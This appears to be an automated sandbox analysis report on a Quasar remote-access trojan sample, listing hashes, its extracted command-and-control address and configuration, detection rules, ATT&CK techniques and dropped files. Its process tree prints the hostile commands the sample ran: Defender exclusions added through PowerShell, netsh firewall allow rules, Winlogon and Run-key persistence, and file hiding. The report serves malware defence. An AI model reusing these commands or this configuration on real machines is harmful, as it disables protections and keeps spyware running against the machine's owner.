quasar | faeb068c20cbe9e1778e2d6edebad8d5a97cf081b52f1e625066fdab6eb8c154

Analysis

max time kernel
2s
max time network
152s
platform
windows7_x64
resource
win7-20230831-en
resource tags

arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
submitted
12-10-2023 00:45

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

faeb068c20cbe9e1778e2d6edebad8d5a97cf081b52f1e625066fdab6eb8c154.exe
Size

1.4MB
MD5

5028526669cbe4d826de03f118a3ac88
SHA1

a7e818e543af24fdbe7c4ce0b864c91e7a456bb1
SHA256

faeb068c20cbe9e1778e2d6edebad8d5a97cf081b52f1e625066fdab6eb8c154
SHA512

c29fd9e374be03aedfdd8c1ebe00748b50d587114e0c14a82fe83e574e640afe3b92d9f13aa9508a33947b59afe3642102aa787a0f8dc6d0272ec5927b360c92
SSDEEP

24576:U2G/nvxW3Ww0tRp8GiXTBhq7yRDvHcUcjUvy0lr3Tl6icOB/UWoT:UbA30H4zF0UMSAicOB/UWk

Score

10^/10

quasar -evasion spyware trojan upx

Malware Config

Extracted

Family

quasar

Version

1.3.0.0

Botnet

94.131.105.161:12344

Mutex

QSR_MUTEX_UEgITWnMKnRP3EZFzK

Attributes

encryption_key
5Q0JQBQQfAUHRJTcAIOF
install_name
lient.exe
log_directory
Lugs
reconnect_delay
3000
startup_key
itartup
subdirectory
SubDir

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 6 IoCs

resource	yara_rule
behavioral1/memory/1660-134-0x0000000000400000-0x000000000045E000-memory.dmp	family_quasar
behavioral1/memory/1660-136-0x0000000000400000-0x000000000045E000-memory.dmp	family_quasar
behavioral1/memory/1660-141-0x0000000000400000-0x000000000045E000-memory.dmp	family_quasar
behavioral1/memory/1660-146-0x0000000000400000-0x000000000045E000-memory.dmp	family_quasar
behavioral1/memory/1660-144-0x0000000000400000-0x000000000045E000-memory.dmp	family_quasar
behavioral1/memory/1660-151-0x0000000004AD0000-0x0000000004B10000-memory.dmp	family_quasar

Modifies Windows Firewall 1 TTPs 2 IoCs

evasion

Windows Service

T1543.003

pid	Process
2356	netsh.exe
1012	netsh.exe

ACProtect 1.3x - 1.4x DLL software 2 IoCs

Detects file using ACProtect software.

resource	yara_rule
behavioral1/files/0x0009000000012288-79.dat	acprotect
behavioral1/files/0x0009000000012288-80.dat	acprotect

UPX packed file 12 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x0027000000016cf4-78.dat	upx
behavioral1/files/0x0009000000012288-79.dat	upx
behavioral1/memory/1904-81-0x0000000010000000-0x00000000100E2000-memory.dmp	upx
behavioral1/files/0x0009000000012288-80.dat	upx
behavioral1/files/0x0027000000016cf4-76.dat	upx
behavioral1/memory/2428-75-0x00000000001B0000-0x00000000001E2000-memory.dmp	upx
behavioral1/files/0x0027000000016cf4-74.dat	upx
behavioral1/files/0x0027000000016cf4-73.dat	upx
behavioral1/memory/1904-85-0x0000000000400000-0x0000000000432000-memory.dmp	upx
behavioral1/memory/1904-87-0x0000000010000000-0x00000000100E2000-memory.dmp	upx
behavioral1/memory/1904-90-0x0000000000400000-0x0000000000432000-memory.dmp	upx
behavioral1/memory/1500-101-0x0000000002940000-0x0000000002980000-memory.dmp	upx

Unexpected DNS network traffic destination 3 IoCs

Network traffic to other servers than the configured DNS servers was detected on the DNS port.

description	ioc
Destination IP	208.67.222.222
Destination IP	208.67.222.222
Destination IP	208.67.222.222

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Runs ping.exe 1 TTPs 5 IoCs

Remote System Discovery

T1018

pid	Process
1184	PING.EXE
1896	PING.EXE
2900	PING.EXE
2352	PING.EXE
3016	PING.EXE

Suspicious use of AdjustPrivilegeToken 40 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	2616	WMIC.exe
Token: SeSecurityPrivilege	2616	WMIC.exe
Token: SeTakeOwnershipPrivilege	2616	WMIC.exe
Token: SeLoadDriverPrivilege	2616	WMIC.exe
Token: SeSystemProfilePrivilege	2616	WMIC.exe
Token: SeSystemtimePrivilege	2616	WMIC.exe
Token: SeProfSingleProcessPrivilege	2616	WMIC.exe
Token: SeIncBasePriorityPrivilege	2616	WMIC.exe
Token: SeCreatePagefilePrivilege	2616	WMIC.exe
Token: SeBackupPrivilege	2616	WMIC.exe
Token: SeRestorePrivilege	2616	WMIC.exe
Token: SeShutdownPrivilege	2616	WMIC.exe
Token: SeDebugPrivilege	2616	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2616	WMIC.exe
Token: SeRemoteShutdownPrivilege	2616	WMIC.exe
Token: SeUndockPrivilege	2616	WMIC.exe
Token: SeManageVolumePrivilege	2616	WMIC.exe
Token: 33	2616	WMIC.exe
Token: 34	2616	WMIC.exe
Token: 35	2616	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2616	WMIC.exe
Token: SeSecurityPrivilege	2616	WMIC.exe
Token: SeTakeOwnershipPrivilege	2616	WMIC.exe
Token: SeLoadDriverPrivilege	2616	WMIC.exe
Token: SeSystemProfilePrivilege	2616	WMIC.exe
Token: SeSystemtimePrivilege	2616	WMIC.exe
Token: SeProfSingleProcessPrivilege	2616	WMIC.exe
Token: SeIncBasePriorityPrivilege	2616	WMIC.exe
Token: SeCreatePagefilePrivilege	2616	WMIC.exe
Token: SeBackupPrivilege	2616	WMIC.exe
Token: SeRestorePrivilege	2616	WMIC.exe
Token: SeShutdownPrivilege	2616	WMIC.exe
Token: SeDebugPrivilege	2616	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2616	WMIC.exe
Token: SeRemoteShutdownPrivilege	2616	WMIC.exe
Token: SeUndockPrivilege	2616	WMIC.exe
Token: SeManageVolumePrivilege	2616	WMIC.exe
Token: 33	2616	WMIC.exe
Token: 34	2616	WMIC.exe
Token: 35	2616	WMIC.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 1752 wrote to memory of 2428	1752	faeb068c20cbe9e1778e2d6edebad8d5a97cf081b52f1e625066fdab6eb8c154.exe	28
PID 1752 wrote to memory of 2428	1752	faeb068c20cbe9e1778e2d6edebad8d5a97cf081b52f1e625066fdab6eb8c154.exe	28
PID 1752 wrote to memory of 2428	1752	faeb068c20cbe9e1778e2d6edebad8d5a97cf081b52f1e625066fdab6eb8c154.exe	28
PID 1752 wrote to memory of 2428	1752	faeb068c20cbe9e1778e2d6edebad8d5a97cf081b52f1e625066fdab6eb8c154.exe	28
PID 2428 wrote to memory of 2280	2428	cmd.exe	30
PID 2428 wrote to memory of 2280	2428	cmd.exe	30
PID 2428 wrote to memory of 2280	2428	cmd.exe	30
PID 2428 wrote to memory of 2280	2428	cmd.exe	30
PID 2280 wrote to memory of 3052	2280	cmd.exe	31
PID 2280 wrote to memory of 3052	2280	cmd.exe	31
PID 2280 wrote to memory of 3052	2280	cmd.exe	31
PID 2280 wrote to memory of 3052	2280	cmd.exe	31
PID 2428 wrote to memory of 3060	2428	cmd.exe	32
PID 2428 wrote to memory of 3060	2428	cmd.exe	32
PID 2428 wrote to memory of 3060	2428	cmd.exe	32
PID 2428 wrote to memory of 3060	2428	cmd.exe	32
PID 3060 wrote to memory of 2616	3060	cmd.exe	33
PID 3060 wrote to memory of 2616	3060	cmd.exe	33
PID 3060 wrote to memory of 2616	3060	cmd.exe	33
PID 3060 wrote to memory of 2616	3060	cmd.exe	33
PID 2428 wrote to memory of 2768	2428	cmd.exe	35
PID 2428 wrote to memory of 2768	2428	cmd.exe	35
PID 2428 wrote to memory of 2768	2428	cmd.exe	35
PID 2428 wrote to memory of 2768	2428	cmd.exe	35

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
1776	attrib.exe

C:\Users\Admin\AppData\Local\Temp\faeb068c20cbe9e1778e2d6edebad8d5a97cf081b52f1e625066fdab6eb8c154.exe
"C:\Users\Admin\AppData\Local\Temp\faeb068c20cbe9e1778e2d6edebad8d5a97cf081b52f1e625066fdab6eb8c154.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1752
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ""C:\Users\Admin\AppData\Local\Temp\ratt.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2428
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c nslookup myip.opendns.com. resolver1.opendns.com
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2280
  - - C:\Windows\SysWOW64\nslookup.exe
      nslookup myip.opendns.com. resolver1.opendns.com
      4⤵
      PID:3052
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c wmic ComputerSystem get Domain
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3060
  - - C:\Windows\SysWOW64\Wbem\WMIC.exe
      wmic ComputerSystem get Domain
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2616
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    Powershell -Command 'Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\ratt.exe"'
    3⤵
    PID:2768
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    Powershell -Command 'Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\"'
    3⤵
    PID:2812
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    Powershell -Command 'Add-MpPreference -ExclusionPath "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\ratt.exe"'
    3⤵
    PID:2488
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    Powershell -Command 'Add-MpPreference -ExclusionPath "$Env:SystemDrive\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"'
    3⤵
    PID:1692
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    Powershell -Command 'Add-MpPreference -ExclusionProcess "C:\Users\Admin\AppData\Local\Temp\ratt.exe"'
    3⤵
    PID:1612
- - C:\Users\Admin\AppData\Local\Temp\7z.exe
    7z.exe x -o"C:\Users\Admin\AppData\Local\Temp" -y ratt.7z
    3⤵
    PID:1904
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -executionpolicy RemoteSigned -WindowStyle Hidden -file Add.ps1
    3⤵
    PID:1500
  - - C:\Windows\SysWOW64\netsh.exe
      "C:\Windows\system32\netsh.exe" advfirewall firewall add rule name=SecuritySystem dir=in action=allow "program=C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe" enable=yes
      4⤵
      Modifies Windows Firewall
      PID:2356
  - - C:\Windows\SysWOW64\netsh.exe
      "C:\Windows\system32\netsh.exe" advfirewall firewall add rule name=SecuritySystem dir=out action=allow "program=C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe" enable=yes
      4⤵
      Modifies Windows Firewall
      PID:1012
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe"
      4⤵
      PID:2248
    - - C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        wmic computersystem where name="ZWKQHIWB" set AutomaticManagedPagefile=False
        5⤵
        
        PID:1688
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe"
      4⤵
      PID:400
  - - C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe
      "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe"
      4⤵
      PID:1148
    - - C:\Windows\SysWOW64\cmd.exe
        
        "cmd" /c ping 127.0.0.1 -n 7 > nul && REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\Music\rot.exe,"
        5⤵
        
        PID:852
      - C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.1 -n 7
        6⤵
        Runs ping.exe
        
        PID:1184
      - C:\Windows\SysWOW64\reg.exe
        
        REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\Music\rot.exe,"
        6⤵
        
        PID:2208
    - - C:\Windows\SysWOW64\cmd.exe
        
        "cmd" /c ping 127.0.0.1 -n 14 > nul && copy "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe" "C:\Users\Admin\Music\rot.exe" && ping 127.0.0.1 -n 14 > nul && "C:\Users\Admin\Music\rot.exe"
        5⤵
        
        PID:1160
      - C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.1 -n 14
        6⤵
        Runs ping.exe
        
        PID:1896
  - - C:\Windows\SysWOW64\attrib.exe
      "C:\Windows\system32\attrib.exe" +h "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe"
      4⤵
      Views/modifies file attributes
      PID:1776
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "ratt" /t REG_SZ /d "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\ratt.exe" /F
    3⤵
    PID:1292
- - C:\Users\Admin\AppData\Local\Temp\ratt.exe
    "ratt.exe"
    3⤵
    PID:1604
  - - C:\Windows\SysWOW64\cmd.exe
      "cmd" /c ping 127.0.0.1 -n 7 > nul && REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\Music\rot.exe,"
      4⤵
      PID:1524
    - - C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.1 -n 7
        5⤵
        Runs ping.exe
        
        PID:2352
    - - C:\Windows\SysWOW64\reg.exe
        
        REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\Music\rot.exe,"
        5⤵
        
        PID:2124
  - - C:\Windows\SysWOW64\cmd.exe
      "cmd" /c ping 127.0.0.1 -n 13 > nul && copy "C:\Users\Admin\AppData\Local\Temp\ratt.exe" "C:\Users\Admin\Music\rot.exe" && ping 127.0.0.1 -n 13 > nul && "C:\Users\Admin\Music\rot.exe"
      4⤵
      PID:908
    - - C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.1 -n 13
        5⤵
        Runs ping.exe
        
        PID:3016
    - - C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.1 -n 13
        5⤵
        Runs ping.exe
        
        PID:2900
    - - C:\Users\Admin\Music\rot.exe
        
        "C:\Users\Admin\Music\rot.exe"
        5⤵
        
        PID:2912
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
        6⤵
        
        PID:1660

C:\Windows\SysWOW64\Wbem\WMIC.exe
wmic pagefileset where name="C:\\pagefile.sys" set InitialSize=15000,MaximumSize=20000
1⤵
PID:3068

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe

Filesize
73.6MB

MD5
2c38fec63ff1e24f740341411c80911c

SHA1
711f7cc5910456688e3fa899343667a48243aa7b

SHA256
abe3780795dc93d062c96858e82baa32724cda697236a11746160dce97782d0f

SHA512
96f5146879078b18b22db2d041cb83244524a35ceebecca10260dd1035ffe3594ff6a6f6df2fb89ad56d4a6f6f418375f3c6272f860799a18957405feab33a83

Download Submit
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\ratt.exe

Filesize
74.1MB

MD5
0c61eb051ede4ecd4fb25eba50f6dcb8

SHA1
b31e8dfaff87e13e7afb6aa9d47e64a617037ff0

SHA256
cbb5d51145e96fc82d00ac601744e3309b94b698a205adf46d57f7ade18a6bc2

SHA512
0562e862fd3083f33b288058f88550d01c8b03cfe6e241ac1fc1078bfb1113583955746adecec7ab875f1132000870b7fd00a0873372d5aa4ba66517a4f6d317

Download Submit
C:\Users\Admin\AppData\Local\Temp\7z.dll

Filesize
328KB

MD5
15bbbe562f9be3e5dcbb834e635cc231

SHA1
7c01cf5fa4db2312c5ed2f7b8c41e3e5c346a51a

SHA256
ed50ef8e0b6dd83fb0c3f733329d4aa6e5a3beb3491e2ba9d2ae206813508dde

SHA512
769287951b8c16f4b10c1b58e82612844babe7b5c10445fe848d713fb5e8321bcbbd9780e9c564cffe35ea4144e8a7e19645291c4eea372fcaa19ae395a97287

Download Submit
C:\Users\Admin\AppData\Local\Temp\7z.exe

Filesize
71KB

MD5
8ba2e41b330ae9356e62eb63514cf82e

SHA1
8dc266467a5a0d587ed0181d4344581ef4ff30b2

SHA256
ea2ad8d87b79c8eb3952498c7005a195986436cfd7ca7736dbbdda979142daea

SHA512
2fdfc2d368c70320b3dac00fef06381ef90a2a82a1f3137109b033d84e5b70185039af6ec918012dc03bc9d046cd8d8aee3247ba0f59d394e78f1f73380f7a1d

Download Submit
C:\Users\Admin\AppData\Local\Temp\7z.exe

Filesize
71KB

MD5
8ba2e41b330ae9356e62eb63514cf82e

SHA1
8dc266467a5a0d587ed0181d4344581ef4ff30b2

SHA256
ea2ad8d87b79c8eb3952498c7005a195986436cfd7ca7736dbbdda979142daea

SHA512
2fdfc2d368c70320b3dac00fef06381ef90a2a82a1f3137109b033d84e5b70185039af6ec918012dc03bc9d046cd8d8aee3247ba0f59d394e78f1f73380f7a1d

Download Submit
C:\Users\Admin\AppData\Local\Temp\Add.ps1

Filesize
1KB

MD5
0df43097e0f0acd04d9e17fb43d618b9

SHA1
69b3ade12cb228393a93624e65f41604a17c83b6

SHA256
c8e4a63337a25f55f75ad10ab2b420d716bad4b35a2044fd39dcd5936419d873

SHA512
01ae71dd2ee040baad6f4b9afcfbaeca2b9f6cc7d60ade5de637238d65c17d74292734666f4ae6b533f6bf1007c46387d8e690d97c3b7a535bcd6f216e70c4fb

Download Submit
C:\Users\Admin\AppData\Local\Temp\ratt.7z

Filesize
693KB

MD5
7de6fdf3629c73bf0c29a96fa23ae055

SHA1
dcb37f6d43977601c6460b17387a89b9e4c0609a

SHA256
069979bfb2aefe3cac239fe4f2477672eb75b90c9853fb67b2ac1438f2ec44ff

SHA512
d1ef2299aacf429572fd6df185009960e601e49126f080fdced26ec407e5db86eaa902e474635464aac146b7de286667a398f2c5e46c4a821dad2579bfb3acf8

Download Submit
C:\Users\Admin\AppData\Local\Temp\ratt.bat

Filesize
1KB

MD5
7ea1fec84d76294d9256ae3dca7676b2

SHA1
1e335451d1cbb6951bc77bf75430f4d983491342

SHA256
9a419095c0bafc6b550f3f760c7b4f91ef3a956cfa6403d3750164ecdbe35940

SHA512
ab712c45081b3d1c7edd03e67a8db1518a546f3fbf00e99838dfe03a689c4867a6953e6603dcd2be458b2441f4a2b70286fd7d096549cfcf032dd2cd54d68317

Download Submit
C:\Users\Admin\AppData\Local\Temp\ratt.bat

Filesize
1KB

MD5
7ea1fec84d76294d9256ae3dca7676b2

SHA1
1e335451d1cbb6951bc77bf75430f4d983491342

SHA256
9a419095c0bafc6b550f3f760c7b4f91ef3a956cfa6403d3750164ecdbe35940

SHA512
ab712c45081b3d1c7edd03e67a8db1518a546f3fbf00e99838dfe03a689c4867a6953e6603dcd2be458b2441f4a2b70286fd7d096549cfcf032dd2cd54d68317

Download Submit
C:\Users\Admin\AppData\Local\Temp\ratt.exe

Filesize
65.6MB

MD5
e420d69d5676544ee8a5048c9c5a177e

SHA1
07ea91a9e308d02399fd6bf4dc44afe764d20b14

SHA256
d3cb3192cb872f92d0b8e940780a4ecce74e940f238c71227fbcc562a8ae965b

SHA512
66c7ffd2c5c5d21d93b29a06aca70a0cbc961cebbe6a93961d6e0a644707cfa60128b131a08b7d223f6a5843ee4fa97fca16a50b73931642c3d9d3011b094831

Download Submit
C:\Users\Admin\AppData\Local\Temp\ratt.exe

Filesize
78.3MB

MD5
7682074accc41836e132aac33574c941

SHA1
4c9a6878bdd7924df97f3a713c4ae4a72c2914eb

SHA256
42e5520e861fadc1ae6b7e3ae7ec2f95567fc16b6f1f13446562596758adfbb3

SHA512
a706e387485d66f435ac668aa145018184f19924e4c6b92cdee47322da1d06e77cd4b7bcf992369b9bac36e9ae3c6052f221140cc0cb74db5cfe7fb66e2fef79

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\DHE33A0WEPDLVB6KK305.temp

Filesize
7KB

MD5
f87d3907b5ccc193ffe16239078a1508

SHA1
946dc64edc3d46d56ec0b66787568d6ec41c479e

SHA256
ac1649005f5375f417c2bf745edc7361ed119d6eb3e97e27d1c0f097acf38712

SHA512
eec5a54ae8c603e1d5c02dbdcd133f158f36d0a9e075c6ee791b1fcb0916da06e185dfea2ae049c25d73d2ed44328f0d567ab8334dc46f984372a886d22a79c7

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
f87d3907b5ccc193ffe16239078a1508

SHA1
946dc64edc3d46d56ec0b66787568d6ec41c479e

SHA256
ac1649005f5375f417c2bf745edc7361ed119d6eb3e97e27d1c0f097acf38712

SHA512
eec5a54ae8c603e1d5c02dbdcd133f158f36d0a9e075c6ee791b1fcb0916da06e185dfea2ae049c25d73d2ed44328f0d567ab8334dc46f984372a886d22a79c7

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
f87d3907b5ccc193ffe16239078a1508

SHA1
946dc64edc3d46d56ec0b66787568d6ec41c479e

SHA256
ac1649005f5375f417c2bf745edc7361ed119d6eb3e97e27d1c0f097acf38712

SHA512
eec5a54ae8c603e1d5c02dbdcd133f158f36d0a9e075c6ee791b1fcb0916da06e185dfea2ae049c25d73d2ed44328f0d567ab8334dc46f984372a886d22a79c7

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
f87d3907b5ccc193ffe16239078a1508

SHA1
946dc64edc3d46d56ec0b66787568d6ec41c479e

SHA256
ac1649005f5375f417c2bf745edc7361ed119d6eb3e97e27d1c0f097acf38712

SHA512
eec5a54ae8c603e1d5c02dbdcd133f158f36d0a9e075c6ee791b1fcb0916da06e185dfea2ae049c25d73d2ed44328f0d567ab8334dc46f984372a886d22a79c7

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
f87d3907b5ccc193ffe16239078a1508

SHA1
946dc64edc3d46d56ec0b66787568d6ec41c479e

SHA256
ac1649005f5375f417c2bf745edc7361ed119d6eb3e97e27d1c0f097acf38712

SHA512
eec5a54ae8c603e1d5c02dbdcd133f158f36d0a9e075c6ee791b1fcb0916da06e185dfea2ae049c25d73d2ed44328f0d567ab8334dc46f984372a886d22a79c7

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
f87d3907b5ccc193ffe16239078a1508

SHA1
946dc64edc3d46d56ec0b66787568d6ec41c479e

SHA256
ac1649005f5375f417c2bf745edc7361ed119d6eb3e97e27d1c0f097acf38712

SHA512
eec5a54ae8c603e1d5c02dbdcd133f158f36d0a9e075c6ee791b1fcb0916da06e185dfea2ae049c25d73d2ed44328f0d567ab8334dc46f984372a886d22a79c7

Download Submit
C:\Users\Admin\Music\rot.exe

Filesize
59.3MB

MD5
17abec9c3b413c9d759d6578ab908c3c

SHA1
c1882925e849765ed1dd48dcb6269cf8e6319f61

SHA256
1e2a9302e56a7314356cdc708346e1890de703b6a9eb9acd678e10f7cbe944e5

SHA512
a5a9682b81a5caba6144bdb004c67afde357afa19622ca6aa0149bd2068be7e15e860c3df6624b2d5679cc6c8c09ce450576a1b6becd217ef9e245b4051926c6

Download Submit
C:\Users\Admin\Music\rot.exe

Filesize
55.3MB

MD5
bf9bb08e8a2ccce6cff7407edd0d5c1b

SHA1
8f40971a3f796eaceaca7deb48a87f4ccd5091b1

SHA256
e1fcac8b3d5966742c53f2df1b38dd405d0901e19b598fb11e91647132bf099f

SHA512
9a316fd167ad8db99eb95c229dda7f06c6eab3f0e2d1a47d8c2837948d7917e818092a2624cbe2c365406791042562a2eb3b521bc09eb36381827ab4ec5c0860

Download Submit
C:\Users\Admin\Music\rot.exe

Filesize
57.1MB

MD5
ed23de1baad81ec2383855f221f8dc95

SHA1
2325c0c7385b5b8859e3de8db8944c8c679fceb8

SHA256
71a855016e34ef552d705d36dc5328f4ef5f9e6ed11cab796964859cfb881023

SHA512
775d57803633a692d2335a8153ae931df8477f213669d60cb1e1ea11b72ca288a5edca1c5aea8cfb5346f42bed9f8806f47704e92232376a3c2e14dd8977e74d

Download Submit
\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\ratt.exe

Filesize
72.6MB

MD5
306b9b1fe8de2539aa885c9a1b111ca0

SHA1
0ebe117582820fa47702bf4e9947f9c174ec0bab

SHA256
4df119eeaa9d2bde538136e0876a134dd7c9d1e57eec0e81779bd6dd63208870

SHA512
711328d39a59d863cff4cfaa69c8978f75703e066c7251b843a089cfeafdbddbe9088fef439ef95bddad6fac03e2c166563381396480d9b8e6f6bd1851334380

Download Submit
\Users\Admin\AppData\Local\Temp\7z.dll

Filesize
328KB

MD5
15bbbe562f9be3e5dcbb834e635cc231

SHA1
7c01cf5fa4db2312c5ed2f7b8c41e3e5c346a51a

SHA256
ed50ef8e0b6dd83fb0c3f733329d4aa6e5a3beb3491e2ba9d2ae206813508dde

SHA512
769287951b8c16f4b10c1b58e82612844babe7b5c10445fe848d713fb5e8321bcbbd9780e9c564cffe35ea4144e8a7e19645291c4eea372fcaa19ae395a97287

Download Submit
\Users\Admin\AppData\Local\Temp\7z.exe

Filesize
71KB

MD5
8ba2e41b330ae9356e62eb63514cf82e

SHA1
8dc266467a5a0d587ed0181d4344581ef4ff30b2

SHA256
ea2ad8d87b79c8eb3952498c7005a195986436cfd7ca7736dbbdda979142daea

SHA512
2fdfc2d368c70320b3dac00fef06381ef90a2a82a1f3137109b033d84e5b70185039af6ec918012dc03bc9d046cd8d8aee3247ba0f59d394e78f1f73380f7a1d

Download Submit
\Users\Admin\AppData\Local\Temp\7z.exe

Filesize
71KB

MD5
8ba2e41b330ae9356e62eb63514cf82e

SHA1
8dc266467a5a0d587ed0181d4344581ef4ff30b2

SHA256
ea2ad8d87b79c8eb3952498c7005a195986436cfd7ca7736dbbdda979142daea

SHA512
2fdfc2d368c70320b3dac00fef06381ef90a2a82a1f3137109b033d84e5b70185039af6ec918012dc03bc9d046cd8d8aee3247ba0f59d394e78f1f73380f7a1d

Download Submit
\Users\Admin\AppData\Local\Temp\ratt.exe

Filesize
67.6MB

MD5
e5cd0977bc98ee7904a6d1f42ebb11f7

SHA1
c41e2d7982a5c458d8527052229be0d9f2ab082c

SHA256
313f30cc0fb2e61e3ebb4ceaee01ae21bbc52ce7ab5c040322517c72c501b267

SHA512
d731e002f452c047a5d123517d34b3db294b5d5d7780b2152441481a9c313bc9456c77e5228f68902779bf384aadcec4178fd7bf48855fb9b015576c0b35515b

Download Submit
\Users\Admin\Music\rot.exe

Filesize
54.7MB

MD5
aea0263c6bfa186404671f7ad9f64224

SHA1
8b37337d3a9f91b6df2693c715af6d4989fa35c3

SHA256
d31780cc80e380c8e5951e25a5bc9c934d3a8000f07607a1f6b63ff93fc83cdf

SHA512
ce28392e5fba692c971adf500ee726bfba9a6b132edd82374f38bea5f01cdbe9f6685ecd52bf7adebab0116fe40930bd2e2792c23b27165ec9d730c3dacedd4b

Download Submit
memory/1148-118-0x0000000070C90000-0x000000007137E000-memory.dmp

Filesize
6.9MB

Download
memory/1148-115-0x0000000070C90000-0x000000007137E000-memory.dmp

Filesize
6.9MB

Download
memory/1148-109-0x00000000003C0000-0x0000000000576000-memory.dmp

Filesize
1.7MB

Download
memory/1148-108-0x0000000070C90000-0x000000007137E000-memory.dmp

Filesize
6.9MB

Download
memory/1500-99-0x0000000074670000-0x0000000074C1B000-memory.dmp

Filesize
5.7MB

Download
memory/1500-107-0x0000000074670000-0x0000000074C1B000-memory.dmp

Filesize
5.7MB

Download
memory/1500-100-0x0000000074670000-0x0000000074C1B000-memory.dmp

Filesize
5.7MB

Download
memory/1500-101-0x0000000002940000-0x0000000002980000-memory.dmp

Filesize
256KB

Download
memory/1500-102-0x0000000002940000-0x0000000002980000-memory.dmp

Filesize
256KB

Download
memory/1604-112-0x0000000000AB0000-0x0000000000C66000-memory.dmp

Filesize
1.7MB

Download
memory/1604-116-0x0000000070C90000-0x000000007137E000-memory.dmp

Filesize
6.9MB

Download
memory/1604-117-0x0000000070C90000-0x000000007137E000-memory.dmp

Filesize
6.9MB

Download
memory/1604-114-0x0000000000590000-0x00000000005D6000-memory.dmp

Filesize
280KB

